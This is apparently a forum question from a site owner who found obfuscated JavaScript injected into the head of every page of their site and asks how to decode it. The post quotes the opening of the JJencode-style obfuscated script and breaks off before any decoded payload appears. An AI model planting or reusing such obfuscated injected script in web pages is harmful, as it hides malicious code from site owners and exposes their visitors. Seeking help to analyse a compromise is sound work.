soap rpc encoded - Hack, script, malicious, decoder?

I got THIS in the head of each page of my site... question, how to decode it to know what it does ?here is the code : <script>$ = ~[];$ = { ___: ++$, $$$$: (![] + "")[$], __$: ++$, $_$_: (![] + "")[$], _$_: ++$, $_$$: ({} + "")[$], $$_$: ($[$] + "")[$], _$$: ++$, $$$_: (!"" + "")[$], $__: ++$, $_$: ++$, $$__: ({} + "")[$], $$_: ++$, $$$: ++$, $___: ++$, $__$: ++$};$.$_ = ($.$_ = $ + "")[$.$_$] + ($._$ = $.$_[$.__$]) + ($.$$ = ($.$ + "")[$.__$]) + ((!$) + "")[$._$$] + ($.__ = $.$_[$.$$_]) + (...Read more